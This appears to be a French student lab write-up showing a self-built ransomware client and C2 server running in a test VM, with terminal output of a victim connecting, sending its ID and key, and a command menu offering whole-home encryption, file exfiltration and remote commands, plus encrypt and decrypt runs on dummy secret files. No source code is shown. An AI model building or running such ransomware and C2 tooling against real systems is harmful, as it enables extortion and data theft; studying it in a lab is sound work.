

.IPSSI

Lancement du serveur.

```
yassine@debian:~/Documents$ python3 c2_server.py
[*] SERVEUR C2 PRET - En attente de connexion...
```

Il est en attente du lancement côté malware, donc on le lance côté client.

```
yassine@debian:~/Documents$ python3 ransomware_client.py
```

La connexion est enfin lancée et accepté, on reçoit donc l'UID et la clé de la victime.

```
yassine@debian:~/Documents$ python3 c2_server.py
[*] SERVEUR C2 PRET - En attente de connexion...

[+] VICTIME CONNECTEE : UUID:26a74d52-a4bc-4aaa-9c19-9c0c1c42c3d2 | KEY:AwLQYBLMSNWSEQD

--- COMMANDES DISPONIBLES ---
ENCRYPT / DECRYPT : Cible tout le HOME de l'utilisateur
GET <chemin>      : Exfiltrer un fichier
SEND <chemin>      : Infiltrer un fichier
<cmd systeme>     : ls, whoami, pwd, etc.
exit               : Fermer la session
-----
C2 >> |
```

On lance ainsi un test de chiffrement.

```
C2 >> ENCRYPT

[CLIENT]:
Termine (30 fichiers). Log: ~/.system_trace.log
```

```
C2 >> 
```

On essaie d'accéder au fichier api_keys.env, et on voit bien qu'il est chiffré, et que son contenu est illisible.

```
yassine@debian:~/Documents/test_attaque$ ls -h
antivirus Antivirus2 antivirus.gpg api_keys.env database_dump.sql IPSSI-SQY secret.txt vpn_config.conf
yassine@debian:~/Documents/test_attaque$ cat api_keys.env

~#+      =0!2v'2%jxee*3]

w4)/*3&023% #$}!-/;vK
    />no}tM
```

On test maintenant avec un déchiffrement

```
C2 >> DECRYPT

[CLIENT]:
Termine (30 fichiers). Log: ~/.system_trace.log
```

```
C2 >> 
```

On voit bien qu'après le déchiffrement, le contenu du fichier est bien accessible.

```
yassine@debian:~/Documents/test_attaque$ ls -lh
total 32K
-rw-rw-r-- 1 yassine yassine 17 16 janv. 14:30 antivirus
-rw-rw-r-- 1 yassine yassine 17 16 janv. 14:30 Antivirus2
-rw-rw-r-- 1 yassine yassine 95 16 janv. 14:30 antivirus.gpg
-rw-rw-r-- 1 yassine yassine 111 16 janv. 14:31 api_keys.env
-rw-rw-r-- 1 yassine yassine 236 16 janv. 14:30 database_dump.sql
-rw-rw-r-- 1 yassine yassine 106 16 janv. 14:30 IPSSI-SQY
-rw-rw-r-- 1 yassine yassine 11 16 janv. 14:30 secret.txt
-rw-rw-r-- 1 yassine yassine 139 16 janv. 14:30 vpn_config.conf
yassine@debian:~/Documents/test_attaque$ cat api_keys.env
API_KEY_PAYMENT=pk_live_51KJhsdf9834sd
API_KEY_INTERNAL=sk_internal_88sd7fsd9
JWT_SECRET=superSecretJwtKey2025
yassine@debian:~/Documents/test_attaque$ 
```

Et là voici une petite visualisation du travail côté fichier client sur une interface de VisualStudio Code en utilisant le remote SSH.

The screenshot shows the Visual Studio Code interface connected via SSH to a VM-Projet. The left sidebar displays a file tree with various files and folders, including `ransomware_client.py`, `c2_server.py`, and `.system_trace.log`. The main editor pane contains the `ransomware_client.py` script, which includes functions for logging actions, getting a UUID, generating a key, and encrypting files. The terminal pane at the bottom shows the command `python3 test_attaque.py` being run, and the output indicates the script is connecting to port 8888 and attempting to write to a file named `key`.

```
YASSINE [SSH: VM-Projet]
Fichier Edition Sélection Affichage Atteindre Exécuter Terminal Aide
EXPLORATEUR ... ransomware_client.py c2_server.py .system_trace.log
Documents > ransomware_client.py
> .config
> .dotnet
> .gnupg
> .local
> vscode-server
> Bureau
> Captures d'écran
> Documents
> test_attaque
> .c2_history.log
> c2_server.py
> edfl_api_keys.env
> edfl_monitoring.conf
> edfl_secret.txt
> edfl_test_attaque_secret.txt
> ransomware_client.py
> received_secret.txt
> recu_api_keys.env
> recu_secret.txt
> victims_database.txt
> Images
> Modèles
> Musique
> Public
> Téléchargements
> Vidéos
> .bash_history
$ .bash_logout
$ .bashrc
$ .face
$ .face.icon
$ .profile
$ sudo_as_admin_successful
$ .system_trace.log
$ wget-hsts
$ JhdJte
$ gob
$ monitoring.conf
> STRUCTURE
> CHRONOLOGIE
yassine@debian:~/Documents/test_attaque$ cat api_keys.env
API_KEY_INTERNAL=$k_Internal_88sdffsd9
JWT_SECRET=$superSecretWtKey2025
yassine@debian:~/Documents/test_attaque$
```